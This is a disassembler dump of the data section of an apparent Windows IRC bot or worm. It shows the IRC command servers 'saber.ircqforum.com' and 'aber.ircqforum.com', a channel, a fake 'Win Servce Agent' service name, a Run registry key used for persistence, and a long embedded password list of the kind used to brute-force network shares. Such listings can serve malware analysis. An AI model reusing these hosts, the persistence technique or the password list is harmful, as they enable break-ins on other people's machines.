dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 442934h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_44294C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_44294C
		dd offset dword_427E18+4
off_427E40	dd offset off_44296C	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_44296C
		dd offset unk_427E68
off_427E8C	dd offset off_44298C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_44298C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_4429B0	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_4429B0
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_442934
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_442934
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_44294C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_44296C
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_44298C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
aNnoxnnoxnnoxnn	db 'noXnoXnoXnoXnoX&æÔt&æÔt&æÔt&æÔt&æÔt/ÄØ3/ÄØ3/ÄØ3/ÄØ3/ÄØ3',0
		align 4
		dd 79h dup(0)
		dd 33D8C42Fh, 0
		dd 586F6E8Dh, 15h dup(0)
		dd 74D4E626h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 6Eh,	73h, 6Dh
		dd 7261676Eh, 78652E73h, 65h
dword_429118	dd 6E6E6977h, 622E7374h, 7461h ; DATA XREF: ___:00411C50o
aWinServceAgent	db 'Win Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_429138:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWindsys_dat	db 'windsys.dat',0
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 10h

loc_429150:				; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		and	esp, [esi+0]

loc_429153:				; DATA XREF: sub_401ACD+44A2o
		add	[ebx], ah
		db	66h
		add	[eax], al

loc_429158:				; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		and	esp, [esi+0]

loc_42915B:				; DATA XREF: sub_401ACD:loc_4098FBo
		add	[esp+ebp*8+42h], ch

loc_42915F:				; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
		add	[esp+ebp*8+42h], cl
		add	[esp+ebp*8], ch
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	ah, ch
		jmp	short loc_4291B1
; ---------------------------------------------------------------------------
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
		db 6Fh,	66h, 74h
		dd 65726177h, 63694D5Ch, 6F736F72h
		db 66h
; ---------------------------------------------------------------------------

loc_4291B1:				; CODE XREF: ___:0042916Dj
		jz	short near ptr aSystemCurrentc+1Fh
		push	edi
		imul	ebp, [esi+64h],	5C73776Fh
		inc	ebx
		jnz	short loc_429230
		jb	short loc_429225
		outsb
		jz	short loc_429219
		db	65h
		jb	short loc_429239
		imul	ebp, [edi+6Eh],	6E75525Ch
		push	ebx
		db	65h
		jb	short loc_429247
		imul	esp, [ebx+65h],	73h
; ---------------------------------------------------------------------------
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		db 0DCh
; ---------------------------------------------------------------------------

loc_429219:				; CODE XREF: ___:004291C1j
		jmp	short loc_42925D
; ---------------------------------------------------------------------------
		align 4
		dd offset aAdministrato_0 ; "administrator"
; ---------------------------------------------------------------------------
		mov	esp, 0AC0042EBh

loc_429225:				; CODE XREF: ___:004291BEj
		jmp	short near ptr byte_429269
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:980042EBh
		jmp	short loc_429271
; ---------------------------------------------------------------------------
		align 10h

loc_429230:				; CODE XREF: ___:004291BCj
		nop
		jmp	short loc_429275
; ---------------------------------------------------------------------------
		align 4
		dd offset aStaff	; "staff"
		db 80h
; ---------------------------------------------------------------------------

loc_429239:				; CODE XREF: ___:004291C3j
		jmp	short loc_42927D
; ---------------------------------------------------------------------------
		align 4
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		db 64h,	0EBh, 42h
; ---------------------------------------------------------------------------

loc_429247:				; CODE XREF: ___:004291CEj
		add	[ebx+ebp*8+42h], bl
		add	[eax-15h], dl
		inc	edx
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[ebx+ebp*8], dh
		inc	edx
		add	[eax], dh

loc_42925D:				; CODE XREF: ___:loc_429219j
		jmp	short loc_4292A1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		db 0
byte_429269	db 3 dup(0)		; CODE XREF: ___:loc_429225j
; ---------------------------------------------------------------------------
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, bl

loc_429271:				; CODE XREF: ___:0042922Dj
		sub	[eax+eax+14h], eax

loc_429275:				; CODE XREF: ___:00429231j
		jmp	short loc_4292B9
; ---------------------------------------------------------------------------
		align 4
		fsub	st(3), st
		inc	edx
		add	ah, cl

loc_42927D:				; CODE XREF: ___:loc_429239j
		jmp	short loc_4292C1
; ---------------------------------------------------------------------------
		align 10h
		or	al, 0EBh
		inc	edx
		add	[eax], cl
		jmp	short loc_4292C9
; ---------------------------------------------------------------------------
		align 4
		dd offset aGuest_0	; "GUEST"
		dd offset aRoot		; "ROOT"
		dd offset aRoot_0	; "root"
		dd offset aAdmin	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
; ---------------------------------------------------------------------------
		fsub	st(2), st
		inc	edx
		add	ah, dl

loc_4292A1:				; CODE XREF: ___:loc_42925Dj
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
; ---------------------------------------------------------------------------
		movsb

loc_4292B9:				; CODE XREF: ___:loc_429275j
		jmp	far ptr	42h:0EA9C0042h
; ---------------------------------------------------------------------------
		db  94h	; ”
; ---------------------------------------------------------------------------

loc_4292C1:				; CODE XREF: ___:loc_42927Dj
		jmp	far ptr	42h:0EA8C0042h
; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------

loc_4292C9:				; CODE XREF: ___:00429285j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		dd offset aAccess	; "ACCESS"
		dd offset aUser_2	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass		; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
; ---------------------------------------------------------------------------
		mov	cl, ch
		inc	edx
		add	[eax], ch
		jmp	short loc_429391
; ---------------------------------------------------------------------------
		align 10h
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		db 4
; ---------------------------------------------------------------------------

loc_429391:				; CODE XREF: ___:0042934Dj
		jmp	near ptr 0E93A93D8h
; ---------------------------------------------------------------------------
		dw 42h
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42E6F8	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_0	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark_0	; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
; ---------------------------------------------------------------------------
		push	600042DBh
		fild	dword ptr [edx+0]
		push	esp
		fild	dword ptr [edx+0]
		dec	esp
		fild	dword ptr [edx+0]
		inc	eax
		jmp	short loc_429A25
; ---------------------------------------------------------------------------
		align 4
		dd offset aDefault	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		db 0BCh
; ---------------------------------------------------------------------------

